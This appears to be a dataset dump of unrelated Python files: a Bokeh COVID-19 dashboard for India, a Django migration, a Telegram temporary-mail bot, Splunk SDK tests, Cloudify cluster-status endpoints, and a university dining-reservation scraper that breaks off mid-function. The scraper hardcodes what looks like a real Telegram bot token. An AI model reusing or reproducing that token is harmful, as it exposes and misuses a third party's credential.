'datetime'}\nw.add_tools(hover)\n\n\ndiv1 = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=700, height=50, align='start')\n\ndiv2 = Div(text=\"\"\"* States with Data Corrected implied through negative growth on a particular date on the timescale\"\"\",\nwidth=700, height=100, align='end')\n\nlayout = column(w, row(div1,div2), sizing_mode='scale_both')\n\ntab7 = Panel(child=layout, title=\"Cases Growth Rate - Statewise\")\n\n#Daily death growth rate- statewise\n\nlegend_it=[]\n\nx = figure(plot_width=1200, plot_height=600, x_axis_type=\"datetime\", sizing_mode=\"scale_both\")\nx.title.text='Fatality Growth Rate'\nx.title.align='center'\nx.title.text_font_size='17px'\nx.xaxis.axis_label = 'Date'\nx.yaxis.axis_label = 'Fatality Growth Rate'\n\ncases_summary['daily_case_growth']=cases_summary['totalConfirmed'].groupby(cases_summary['loc']).pct_change()\ncases_summary['daily_death_growth']=cases_summary['deaths'].groupby(cases_summary['loc']).pct_change()\ncases_summary['daily_case_growth']=cases_summary['discharged'].groupby(cases_summary['loc']).pct_change()\n\nfor name, color in zip(cases_summary['loc'].unique(), itertools.cycle(Spectral11)):\n cases_summary['day'] = pd.to_datetime(cases_summary['day'])\n renderer=x.line(cases_summary[cases_summary['loc']==name]['day'], cases_summary[cases_summary['loc']==name]['deaths'].pct_change(), line_width=2, color=color, alpha=1,\n muted_alpha=0.2)\n\n renderer.visible = False\n\n check_negative_growth = lambda name: name + '*' if (\n (cases_summary[cases_summary['loc'] == name]['deaths'].pct_change() < 0).any()) else name\n legend_it.append((check_negative_growth(name), [renderer]))\n\n\nlegend1=Legend(items=legend_it[0:16], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\nlegend2=Legend(items=legend_it[17:33], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\n\nx.add_layout(legend1,'right')\nx.add_layout(legend2,'right')\n\ncases_summary['day']=cases_summary['day'].astype('str')\nsource=ColumnDataSource(cases_summary)\n\nhover = HoverTool(line_policy='next')\nhover.tooltips = [('Date', '@x{%F}'),\n ('Fatality Growth Rate', '@y{0:.0%}') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 'datetime'}\nx.add_tools(hover)\n\ndiv1 = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=700, height=50, align='start')\n\ndiv2 = Div(text=\"\"\"* States with Data Corrected implied through negative growth on a particular date on the timescale\"\"\",\nwidth=700, height=100, align='end')\n\nlayout = column(x, row(div1,div2), sizing_mode='scale_both')\n\ntab8 = Panel(child=layout, title=\"Fatality Growth Rate - Statewise\")\n\n#Total Tests done over time\n\ncases_tests=requests.get('https://api.rootnet.in/covid19-in/stats/testing/raw')\njson_data=cases_tests.json()\ncases_tests=pd.json_normalize(data=json_data['data'])\n\ncases_tests['timestamp']=pd.to_datetime(cases_tests['timestamp'], format=r'%Y-%m-%d')\ncases_tests['timestamp']=cases_tests['timestamp'].dt.date\n\ncases_tests['timestamp']=pd.to_datetime(cases_tests['timestamp'], format=r'%Y-%m-%d')\nsource=ColumnDataSource(cases_tests)\ny = figure(plot_width=1200, plot_height=700,sizing_mode=\"scale_both\", x_axis_type='datetime')\ny.title.text='COVID19 Tests over Time'\ny.title.align='center'\ny.title.text_font_size='17px'\ny.xaxis.axis_label = 'Date'\ny.yaxis.axis_label = 'Tests Count'\n\nsample_test=y.vbar(x=cases_tests['timestamp'], bottom=cases_tests['totalSamplesTested'], width=timedelta(days=0.5), color='#5e4fa2', alpha=1,\n legend_label=\"Samples Tested\")\npositive_test=y.vbar(x=cases_tests['timestamp'], top=cases_summary.groupby(['day'])['totalConfirmed'].sum(), width=timedelta(days=0.5), color='#3288bd', alpha=1,\n legend_label=\"Tested Positive\")\n\nhover = HoverTool(line_policy='next', renderers=[sample_test])\nhover.tooltips = [('Date', '@x{%F}'),\n ('Tests Count', '@bottom') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 'datetime'}\n\nhover_pos = HoverTool(line_policy='next', renderers=[positive_test])\nhover_pos.tooltips = [('Date', '@x{%F}'),\n ('Positive Count', '@top') # @$name gives the value corresponding to the legend\n]\nhover_pos.formatters = {'@x': 'datetime'}\n\ny.add_tools(hover)\ny.add_tools(hover_pos)\ny.legend.location='top_left'\n\ndiv = Div(text=\"\"\"Latest Date: {}

Total Tests: {:,}

Total Cases: {:,}
Total Deaths: {:,}\"\"\".format(latest_date,cases_tests.iloc[-1]['totalSamplesTested'].astype('int64'), cases_summary[cases_summary['day']==latest_date]['totalConfirmed'].sum(), cases_summary[cases_summary['day']==latest_date]['deaths'].sum()),\nwidth=200, height=100)\nlayout = row(y, div)\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nlayout = column(layout,div, sizing_mode='scale_both')\n\ntab9 = Panel(child=layout, title=\"All India Tests over Time\")\n\n\n#Testing Growth Rate\ncases_tests['timestamp']=pd.to_datetime(cases_tests['timestamp'], format=r'%Y-%m-%d')\ncases_tests['daily_tests']=cases_tests['totalSamplesTested'].diff(1)\ncases_tests['daily_confirmed']=cases_tests['totalPositiveCases'].diff(1)\n\n\nz = figure(plot_width=1200, plot_height=700,sizing_mode=\"scale_both\", x_axis_type='datetime', y_range=Range1d(start=0, end=cases_tests['totalSamplesTested'].max()))\nz.title.text='COVID19 Tests Growth Rate over Time'\nz.title.align='center'\nz.title.text_font_size='17px'\nz.xaxis.axis_label = 'Date'\nz.yaxis.axis_label = 'Tests Count'\n\nz.extra_y_ranges = {'tests_growth_rate': Range1d(start=cases_tests['totalSamplesTested'].pct_change().min(), end=cases_tests['totalSamplesTested'].pct_change().max())}\nz.add_layout(LinearAxis(y_range_name='tests_growth_rate'), 'right')\n\nsample_test_growth=z.vbar(x=cases_tests['timestamp'],top=cases_tests['totalSamplesTested'].pct_change() , width=timedelta(days=0.5), color='#5e4fa2', alpha=1, y_range_name='tests_growth_rate', legend_label='Tests Growth Rate')\nsample_test=z.line(cases_tests['timestamp'], cases_tests['daily_tests'], line_width=2, color='#d53e4f', alpha=1, legend_label=\"Daily Tests Count\")\n\nhover = HoverTool(line_policy='next', renderers=[sample_test_growth])\nhover.tooltips = [('Date', '@x{%F}'),\n ('Tests Growth Rate', '@top{0.:00%}') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 'datetime'}\n\nhover_growth = HoverTool(line_policy='next', renderers=[sample_test])\nhover_growth.tooltips = [('Date', '@x{%F}'),\n ('Tests Count', '@y') # @$name gives the value corresponding to the legend\n]\nhover_growth.formatters = {'@x': 'datetime'}\n\nz.add_tools(hover)\nz.add_tools(hover_growth)\nz.legend.click_policy='hide'\nz.legend.title='Click to Switch Legend ON/OFF'\n\ndiv = Div(text=\"\"\"Latest Date: {}

Total Tests: {:,}

Total Cases: {:,}
Total Deaths: {:,}\"\"\".format(latest_date,cases_tests.iloc[-1]['totalSamplesTested'].astype('int64'), cases_summary[cases_summary['day']==latest_date]['totalConfirmed'].sum(), cases_summary[cases_summary['day']==latest_date]['deaths'].sum()),\nwidth=200, height=100)\n\nlayout = row(z, div)\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nlayout = column(layout,div, sizing_mode='scale_both')\n\ntab10 = Panel(child=layout, title=\"All India Tests Growth Rate\")\n\n\n#Correlation between Tests Count and Confirmed Cases\n\ncases_tests_without_na=cases_tests.dropna(axis=0, how='any')\n\nfig=figure(plot_width=1200, plot_height=700,sizing_mode=\"scale_both\")\nfig.title.text='Correlation of Tests Vs Confirmed Cases'\nfig.title.align='center'\nfig.title.text_font_size='17px'\nfig.xaxis.axis_label = 'Confirmed Cases'\nfig.yaxis.axis_label = 'Tests Count'\nfig.x_range=Range1d(0,cases_tests_without_na['daily_confirmed'].max() )\n\n\nscatterplot=fig.circle(cases_tests_without_na['daily_confirmed'],cases_tests_without_na['daily_tests'], legend_label='Daily Tests Vs Confirmed Cases')\n\npar = np.polyfit(cases_tests_without_na['daily_confirmed'],cases_tests_without_na['daily_tests'], 1, full=True)\nslope=par[0][0]\nintercept=par[0][1]\ny_predicted = [slope*i + intercept for i in cases_tests_without_na['daily_confirmed']]\n\nLinearRegression = fig.line(cases_tests_without_na['daily_confirmed'],y_predicted,color='red',legend_label='y='+str(round(slope,2))+'x+'+str(round(intercept,2)))\ncorrelation=cases_tests_without_na[['daily_confirmed','daily_tests']].corr('pearson')['daily_tests'][0]\n\nhover = HoverTool(line_policy='next', renderers=[scatterplot])\nhover.tooltips = [('Confirmed Cases', '@x'),\n ('Tests Count', '@y') # @$name gives the value corresponding to the legend\n]\n\nhover_line = HoverTool(line_policy='next', renderers=[LinearRegression])\nhover_line.tooltips = [('Estimated Confirmed Cases at given rate', '@x'),\n ('Tests Count ', '@y') # @$name gives the value corresponding to the legend\n]\nfig.add_tools(hover)\nfig.add_tools(hover_line)\nfig.legend.location='top_left'\n\nlabel=Label(x=-300, y=50, x_units='screen', y_units='screen', text=\"Pearson Correlation (R\\u00b2): {:.2}\".format(correlation), render_mode='css', text_font_size='14px')\nfig.add_layout(label, 'right')\n\ndiv = Div(text=\"\"\"Latest Date: {}

\n Total Tests: {:,}
\n Total Cases: {:,}

\n Pearson Correlation (R\\u00b2): {:.2}

\"\"\"\n .format(latest_date,\n cases_tests.iloc[-1]['totalSamplesTested'].astype('int64'),\n cases_summary[cases_summary['day']==latest_date]['totalConfirmed'].sum(),\n correlation),\nwidth=200, height=100)\n\nlayout = row(fig, div)\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nlayout = column(layout,div, sizing_mode='scale_both')\n\ntab11 = Panel(child=layout, title=\"Correlation - Tests Vs Cases\")\n\ntabs = Tabs(tabs=[tab1, tab2, tab3, tab4, tab5, tab6, tab7, tab8, tab9, tab10, tab11])\n\n#output_file('Statewise Cases and Deaths-Bokeh.html')\n\nbokeh_doc.add_root(tabs)\n\n","sub_path":"Coronavirus_realtime_india.py","file_name":"Coronavirus_realtime_india.py","file_ext":"py","file_size_in_byte":32258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"466918819","text":"# encoding: utf8\nfrom django.db import models, migrations\nimport open511_server.utils.xmlmodel\nimport django.contrib.gis.db.models.fields\nimport open511_server.fields\nimport open511_server.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('open511', '0002_jurisdiction'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Camera',\n fields=[\n ('created', models.DateTimeField(default=open511_server.models._now, db_index=True)),\n ('updated', models.DateTimeField(default=open511_server.models._now, db_index=True)),\n ('internal_id', models.AutoField(serialize=False, primary_key=True)),\n ('id', models.CharField(db_index=True, max_length=100, blank=True)),\n ('jurisdiction', models.ForeignKey(to='open511.Jurisdiction', to_field='internal_id')),\n ('external_url', models.URLField(db_index=True, blank=True)),\n ('xml_data', open511_server.fields.XMLField(default='')),\n ('geom', django.contrib.gis.db.models.fields.PointField(srid=4326, geography=True)),\n ],\n options={\n u'ordering': ('internal_id',),\n u'unique_together': set([('id', 'jurisdiction')]),\n u'abstract': False,\n },\n bases=(models.Model, open511_server.utils.xmlmodel.XMLModelMixin),\n ),\n ]\n","sub_path":"open511_server/migrations/0003_camera.py","file_name":"0003_camera.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"616213874","text":"import logging\r\nfrom aiogram import Bot, Dispatcher, executor, types\r\nfrom config import API_TOKEN\r\nimport keyboard as kb\r\nfrom onesec_api import Mailbox\r\nimport json\r\nimport asyncio\r\n\r\nlogging.basicConfig(level=logging.INFO)\r\nbot = Bot(token=API_TOKEN)\r\ndp = Dispatcher(bot)\r\n\r\n\r\n@dp.message_handler(content_types=['text'])\r\nasync def texthandler(m: types.Message):\r\n\tif m.text != '✉️ Получить почту':\r\n\t\tawait m.answer(f'Приветствую тебя, {m.from_user.mention}\\nЭтот бот создан для быстрого получения временной почты.\\nНажми на кнопу ниже 👇', reply_markup=kb.menu)\r\n\telif m.text == '✉️ Получить почту':\r\n\t\tma = Mailbox('')\r\n\t\temail = f'{ma._mailbox_}@1secmail.com'\r\n\t\tawait m.answer(f'📫 Твоя почта: {email}\\n\\nОтправляй письмо,почта проверяется автоматически, каждые 5 секунд, если придет новое письмо, мы вас об этом оповестим!\\n\\nНа 1 почту можно получить только - 1 письмо.\\n\\nРЕКОМЕНДУЕМ ПОДПИСАТСЯ НА НАШ КАНАЛ @statie')\r\n\t\twhile True:\r\n\t\t\tmb = ma.filtred_mail()\r\n\t\t\tif isinstance(mb, list):\r\n\t\t\t\tmf = ma.mailjobs('read',mb[0])\r\n\t\t\t\tjs = mf.json()\r\n\t\t\t\tfromm = js['from']\r\n\t\t\t\ttheme = js['subject']\r\n\t\t\t\tmes = js['textBody']\r\n\t\t\t\tawait m.answer(f'📩 Новое письмо:\\nОт: {fromm}\\nТема: {theme}\\nСообщение: {mes}', reply_markup=kb.menu, parse_mode='HTML')\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\tpass\r\n\t\t\tawait asyncio.sleep(5)\r\n \r\n\r\nif __name__ == '__main__':\r\n\texecutor.start_polling(dp, skip_updates=True) # Запуск","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"419325369","text":"#!/usr/bin/env python\n#\n# Copyright 2011-2012 Splunk, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"): you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport splunklib.client as client\n\nimport testlib\n\nclass TestCase(testlib.TestCase):\n # Verify that the given collections interface behaves as expected\n def check_collection(self, collection):\n # Check item metadata\n try:\n metadata = collection.itemmeta()\n self.assertTrue(isinstance(metadata, dict))\n self.assertTrue(isinstance(metadata.access, dict))\n self.assertTrue(isinstance(metadata.fields, dict))\n except client.NotSupportedError: pass\n\n # Check various collection options\n collection.list() # Default\n collection.list(search=\"title=*\")\n collection.list(sort_dir=\"asc\")\n collection.list(sort_dir=\"desc\")\n collection.list(sort_mode=\"auto\")\n collection.list(sort_mode=\"alpha\")\n collection.list(sort_mode=\"alpha_case\")\n collection.list(sort_mode=\"num\")\n\n # Retrieve the entire list\n items = collection.list()\n total = len(items)\n\n # Make sure the default list method returns all items\n items0 = collection.list(count=0)\n total0 = len(items0)\n self.assertEqual(total, total0)\n\n self.check_iterable(collection, total)\n\n # Page through contents one-at-a-time and check count\n count = 0\n for i in xrange(total):\n item = collection.list(offset=i, count=1)\n self.assertEqual(len(item), 1)\n count += 1\n self.assertEqual(count, total)\n\n # Page through the collection using various page sizes and make sure\n # the expected paging invariants hold.\n page_size = int(total/2)\n while page_size > 0:\n offset = 0\n while offset < total:\n page = collection.list(offset=offset, count=page_size)\n count = len(page)\n offset += count\n self.assertTrue(count == page_size or offset == total)\n self.assertEqual(offset, total)\n page_size = int(page_size/2) # Try half the page size\n\n # Verify that the given collection's iterator works as expected.\n def check_iterable(self, collection, count):\n # Iterate contents and make sure we see the expected count.\n seen = 0\n for item in collection: \n seen += 1\n self.assertEqual(seen, count)\n\n def test_apps(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.apps)\n\n def test_event_types(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.event_types)\n\n def test_indexes(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.indexes)\n\n def test_inputs(self):\n # The Inputs collection is an aggregated view of the various REST API\n # input endpoints, and does not support the paging interface.\n service = client.connect(**self.opts.kwargs)\n count = len(service.inputs.list())\n self.check_iterable(service.inputs, count)\n\n def test_jobs(self):\n # The Jobs REST API endpoint does not support the paging interface.\n service = client.connect(**self.opts.kwargs)\n count = len(service.jobs.list())\n self.check_iterable(service.jobs, count)\n\n def test_loggers(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.loggers)\n\n def test_messages(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.messages)\n\n def test_roles(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.roles)\n\n def test_users(self):\n service = client.connect(**self.opts.kwargs)\n self.check_collection(service.users)\n\nif __name__ == \"__main__\":\n testlib.main()\n\n","sub_path":"tests/test_collection.py","file_name":"test_collection.py","file_ext":"py","file_size_in_byte":4463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"185059217","text":"#########\n# Copyright (c) 2019 Cloudify Platform Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\n\nfrom flask import request, current_app\nfrom flask_restful_swagger import swagger\n\nfrom cloudify._compat import text_type\nfrom cloudify.cluster_status import CloudifyNodeType, ServiceStatus\n\nfrom manager_rest.rest import responses\nfrom manager_rest.utils import get_formatted_timestamp\nfrom manager_rest.security.authorization import authorize\nfrom manager_rest.rest.rest_decorators import marshal_with\nfrom manager_rest.storage import models, get_storage_manager\nfrom manager_rest.security import SecuredResourceBannedSnapshotRestore\nfrom manager_rest.cluster_status_manager import (STATUS,\n get_cluster_status,\n write_status_report)\nfrom manager_rest.rest.rest_utils import (parse_datetime_string,\n verify_and_convert_bool,\n get_json_and_verify_params)\n\n\nclass ClusterStatus(SecuredResourceBannedSnapshotRestore):\n @staticmethod\n def _get_request_dict():\n request_dict = get_json_and_verify_params({\n 'reporting_freq': {'type': int},\n 'report': {'type': dict},\n 'timestamp': {'type': text_type}\n })\n return request_dict\n\n def _write_report(self, node_id, model, node_type):\n report_dict = self._get_request_dict()\n write_status_report(node_id, model, node_type, report_dict)\n\n @swagger.operation(\n responseClass=responses.Status,\n nickname=\"cluster-status\",\n notes=\"Returns state of the Cloudify cluster\"\n )\n @authorize('cluster_status_get')\n @marshal_with(responses.Status)\n def get(self):\n \"\"\"Get the status of the entire cloudify cluster\"\"\"\n summary_response = verify_and_convert_bool(\n 'summary',\n request.args.get('summary', False)\n )\n cluster_status = get_cluster_status()\n\n # If the response should be only the summary\n if summary_response:\n short_status = cluster_status.get(STATUS)\n status_code = 500 if short_status == ServiceStatus.FAIL else 200\n return {'status': short_status, 'services': {}}, status_code\n\n return cluster_status\n\n\nclass ManagerClusterStatus(ClusterStatus):\n @authorize('manager_cluster_status_put')\n def put(self, node_id):\n self._update_manager_last_seen(node_id)\n self._write_report(node_id,\n models.Manager,\n CloudifyNodeType.MANAGER)\n\n @staticmethod\n def _update_manager_last_seen(node_id):\n report = request.json.get('report', {})\n if report.get('status') != ServiceStatus.HEALTHY:\n current_app.logger.debug(\n \"The manager with node_id: {0} is not healthy, so it's \"\n \"last_seen is not updated\".format(node_id)\n )\n return\n\n storage_manager = get_storage_manager()\n manager = storage_manager.get(models.Manager, None,\n filters={'node_id': node_id})\n manager_time = parse_datetime_string(manager.last_seen)\n report_time = request.json.get('timestamp')\n if report_time and manager_time < parse_datetime_string(report_time):\n manager.last_seen = get_formatted_timestamp()\n manager.status_report_frequency = request.json.get(\n 'reporting_freq')\n storage_manager.update(manager)\n\n\nclass DBClusterStatus(ClusterStatus):\n @authorize('db_cluster_status_put')\n def put(self, node_id):\n self._write_report(node_id,\n models.DBNodes,\n CloudifyNodeType.DB)\n\n\nclass BrokerClusterStatus(ClusterStatus):\n @authorize('broker_cluster_status_put')\n def put(self, node_id):\n self._write_report(node_id,\n models.RabbitMQBroker,\n CloudifyNodeType.BROKER)\n","sub_path":"rest-service/manager_rest/rest/resources_v3_1/cluster_status.py","file_name":"cluster_status.py","file_ext":"py","file_size_in_byte":4602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"121795363","text":"import re\n\nimport imgkit\nimport jdatetime\nimport pandas as pd\nimport requests\nimport telegram\nfrom bs4 import BeautifulSoup\nfrom celery import task\nfrom django.db.models import Q\nfrom lxml import html\n\n\ndef login(user_data):\n login_url = user_data.university.login_url\n session_requests = requests.session()\n result = session_requests.get(login_url)\n csrf = user_data.university.csrf_name\n tree = html.fromstring(result.text)\n authenticity_token = list(set(tree.xpath(f\"//input[@name='{csrf}']/@value\")))[0]\n payload = {\n user_data.university.form_username: user_data.dining_username,\n user_data.university.form_password: user_data.dining_password,\n user_data.university.csrf_name: authenticity_token,\n }\n result = session_requests.post(login_url, data=payload, headers=dict(referer=login_url))\n if 'login' not in result.url:\n return session_requests.cookies\n else:\n raise ValueError\n\n\ndef get_user_id(cookie):\n reserve_url = 'http://dining.sharif.ir/admin/food/food-reserve/reserve'\n session_requests = requests.session()\n session_requests.cookies = cookie\n result = session_requests.get(reserve_url)\n soup = BeautifulSoup(result.content, 'html.parser')\n\n try:\n button = soup.find_all('button', class_=\"btn btn-default navigation-link\")[0].get('onclick')\n return button.split(';')[0].split(',')[4][:-1]\n except IndexError:\n raise ValueError\n\n\ndef get_next_week_dishes(user_data, cookie, self_id, user_id):\n from dining.models import Food, UserPreferableFood\n\n session_requests = requests.session()\n session_requests.cookies = cookie\n\n next_week = {\n 'id': 0,\n 'parent_id': self_id,\n 'week': 1,\n 'user_id': user_id\n }\n\n load_reserve_table = 'http://dining.sharif.ir/admin/food/food-reserve/load-reserve-table'\n\n result = session_requests.post(load_reserve_table, data=next_week)\n\n soup = BeautifulSoup(result.content, 'html.parser')\n\n table_rows = soup.find_all('tr')[1:]\n\n data_lunch = dict()\n data_dinner = dict()\n for row in table_rows:\n day = re.findall(r'
\\s+(.*?)\\s\\s', str(row))[0]\n lunch = row.find_all('td')[0].find_all('div')\n dishes = list()\n for dish in lunch:\n try:\n food_name = dish.text.split('(')[0].strip()\n food_id = dish.find('span').get('onclick').split('do_reserve_from_diet(')[1].split(',')[0].strip('\\\"')\n query = Food.objects.filter(name__icontains=food_name, university=user_data.university)\n if query:\n dishes.append((query[0].name, food_id))\n else:\n new_food = Food()\n new_food.name = food_name\n new_food.id = food_id\n new_food.save()\n dishes.append((food_name, food_id))\n preferred_food_object = UserPreferableFood()\n preferred_food_object.user = user_data.user\n preferred_food_object.food = new_food\n preferred_food_object.score = 5\n preferred_food_object.save()\n\n except:\n pass\n data_lunch[day] = dishes\n\n dinner = row.find_all('td')[1].find_all('div')\n dishes = list()\n for dish in dinner:\n try:\n food_name = dish.text.split('(')[0].strip()\n food_id = dish.find('span').get('onclick').split('do_reserve_from_diet(')[1].split(',')[0].strip('\\\"')\n query = Food.objects.filter(name__icontains=food_name, university=user_data.university)\n if query:\n dishes.append((query[0].name, food_id))\n else:\n new_food = Food()\n new_food.name = food_name\n new_food.id = food_id\n new_food.save()\n dishes.append((food_name, food_id))\n preferred_food_object = UserPreferableFood\n preferred_food_object.user = user_data.user\n preferred_food_object.food = new_food\n preferred_food_object.score = 5\n preferred_food_object.save()\n\n except:\n pass\n\n data_dinner[day] = dishes\n\n return data_lunch, data_dinner\n\n\ndef save_values(user_data, data_lunch, data_dinner, self_id):\n from dining.models import Dicty, Key, Val\n\n try:\n dictionary_model = Dicty.objects.get(name=user_data.user.username + 'data_dinner' + f'{self_id}')\n Key.objects.filter(container__name=user_data.user.username + 'data_dinner' + f'{self_id}').delete()\n\n\n except:\n dictionary_model = Dicty()\n dictionary_model.name = user_data.user.username + 'data_dinner' + f'{self_id}'\n dictionary_model.save()\n\n for item in data_dinner:\n key = Key()\n key.container = dictionary_model\n key.key = item\n key.save()\n for food in data_dinner[item]:\n value = Val()\n value.key = key\n value.container = dictionary_model\n value.name = food[0]\n value.food_id = food[1]\n value.save()\n try:\n dictionary_model = Dicty.objects.get(name=user_data.user.username + 'data_lunch' + f'{self_id}')\n Key.objects.filter(container__name=user_data.user.username + 'data_lunch' + f'{self_id}').delete()\n\n except:\n dictionary_model = Dicty()\n dictionary_model.name = user_data.user.username + 'data_lunch' + f'{self_id}'\n dictionary_model.save()\n\n for item in data_lunch:\n key = Key()\n key.container = dictionary_model\n key.key = item\n key.save()\n for food in data_lunch[item]:\n value = Val()\n value.key = key\n value.container = dictionary_model\n value.name = food[0]\n value.food_id = food[1]\n value.save()\n\n\ndef do_reserve(food_id, self_id, user_id, cookie):\n food_reserve_request = {\n 'id': food_id,\n 'place_id': self_id,\n 'food_place_id': '0',\n 'self_id': self_id,\n 'user_id': user_id\n }\n session_requests = requests.session()\n session_requests.cookies = cookie\n result = session_requests.post(\n 'http://dining.sharif.ir/admin/food/food-reserve/do-reserve-from-diet?user_id=' + user_id,\n data=food_reserve_request)\n soup = BeautifulSoup(result.content, 'html.parser')\n\n\ndef get_reserved_table(user_data, user_id, cookie):\n session_requests = requests.session()\n session_requests.cookies = cookie\n next_week_reserved_table = {\n 'week': '1',\n 'user_id': user_id\n }\n url_reserved_table = user_data.university.reserved_table\n result = session_requests.post(url_reserved_table, data=next_week_reserved_table)\n soup = BeautifulSoup(result.content, 'html.parser')\n\n table_rows = soup.find_all('tr')[1:]\n\n data_lunch = dict()\n data_dinner = dict()\n for row in table_rows:\n day = re.findall(r'\\s+(.*?)\\s\\s', str(row))[0]\n lunch = row.find_all('td')[0]\n dishes = list()\n try:\n food_name = lunch.text.split('(')[0].strip()\n dishes.append(food_name)\n except:\n dishes.append('-')\n data_lunch[day] = dishes\n\n dinner = row.find_all('td')[1]\n dishes = list()\n try:\n food_name = dinner.find_all('span')[0].text.strip()\n dishes.append(food_name)\n except:\n dishes.append('-')\n\n data_dinner[day] = dishes\n\n result = session_requests.get('http://dining.sharif.ir/admin/payment/payment/charge')\n soup = BeautifulSoup(result.text, 'html.parser')\n soup_find = soup.find_all('h4', {'class': 'control-label'})\n credit_raw = soup_find[0].find_all('span', {'dir': 'ltr'})[0].text.strip()\n credit = float(re.sub(',', '.', credit_raw))\n\n return data_lunch, data_dinner, credit\n\n\ndef telegram_table_message(user_data, data_lunch, data_dinner):\n if user_data.user.chat_id != 0:\n data = {'ناهار': [data_lunch['شنبه'], data_lunch['یک شنبه'], data_lunch['دوشنبه'],\n data_lunch['سه شنبه'], data_lunch['چهارشنبه'], data_lunch['پنج شنبه'],\n data_lunch['جمعه']],\n 'شام': [data_dinner['شنبه'], data_dinner['یک شنبه'], data_dinner['دوشنبه'],\n data_dinner['سه شنبه'], data_dinner['چهارشنبه'], data_dinner['پنج شنبه'],\n data_dinner['جمعه']]}\n df = pd.DataFrame(data,\n index=['شنبه', 'یکشنبه', 'دوشنبه', 'سه‌شنبه', 'چهارشنبه', 'پنجشنبه', 'جمعه'])\n\n css = \"\"\"\n \n \n \n \n \n \"\"\"\n with open('html.html', 'w') as f:\n f.write('')\n text_file = open(\"html.html\", \"a\")\n text_file.write(css)\n text_file.write(df.to_html())\n text_file.close()\n imgkitoptions = {\"format\": \"png\"}\n imgkit.from_file(\"html.html\", 'reserve_img.png', options=imgkitoptions)\n\n def send_photo(path, chat_id, token):\n bot = telegram.Bot(token=token)\n bot.send_photo(chat_id=chat_id, photo=open(path, 'rb'))\n\n def send(msg, chat_id, token, keyboard):\n bot = telegram.Bot(token=token)\n bot.send_message(chat_id=chat_id, text=msg, reply_markup=keyboard)\n\n bot_token = '610448118:AAFVPBXMKPzqAiOJ9-zhusKrOloCiJuEwi8'\n message = \"سلام\\n\" \\\n \"امروز چهارشنبه‌س و غذاهاتو برات رزرو کردم \\n\" \\\n \"اگر از هر کدومشون خوشت نیمد یا خواستی روز جدیدی رو رزرو کنی دکمه‌ی تغییر رزرو رو فشار بده\"\n reply_markup = telegram.ReplyKeyboardMarkup(\n [[telegram.KeyboardButton('تغییر رزرو')]], one_time_keyboard=False)\n send(message, str(user_data.user.chat_id), bot_token, reply_markup)\n send_photo(path='reserve_img.png',\n chat_id=str(user_data.user.chat_id),\n token=bot_token)\n\n\n@task()\ndef reserve_function():\n from dining.models import UserDiningData, UserSelfs, UserPreferableFood, ReservedTable\n for user_data in UserDiningData.objects.filter(university__tag='sharif'):\n if user_data.user.is_paid is True and user_data.user.reserve is True:\n\n active_selfs = UserSelfs.objects.filter(user=user_data.user, is_active=True)\n try:\n cookie = login(user_data)\n except ValueError:\n continue\n try:\n user_id = get_user_id(cookie)\n except ValueError:\n continue\n\n for self in active_selfs:\n\n data_lunch, data_dinner = get_next_week_dishes(user_data, cookie, self.self_id, user_id)\n save_values(user_data, data_lunch, data_dinner, self.self_id)\n\n chosen_days_lunch = []\n\n if user_data.reserve_friday_lunch:\n chosen_days_lunch.append('جمعه')\n if user_data.reserve_saturday_lunch:\n chosen_days_lunch.append('شنبه')\n if user_data.reserve_sunday_lunch:\n chosen_days_lunch.append('یک شنبه')\n if user_data.reserve_monday_lunch:\n chosen_days_lunch.append('دوشنبه')\n if user_data.reserve_tuesday_lunch:\n chosen_days_lunch.append('سه شنبه')\n if 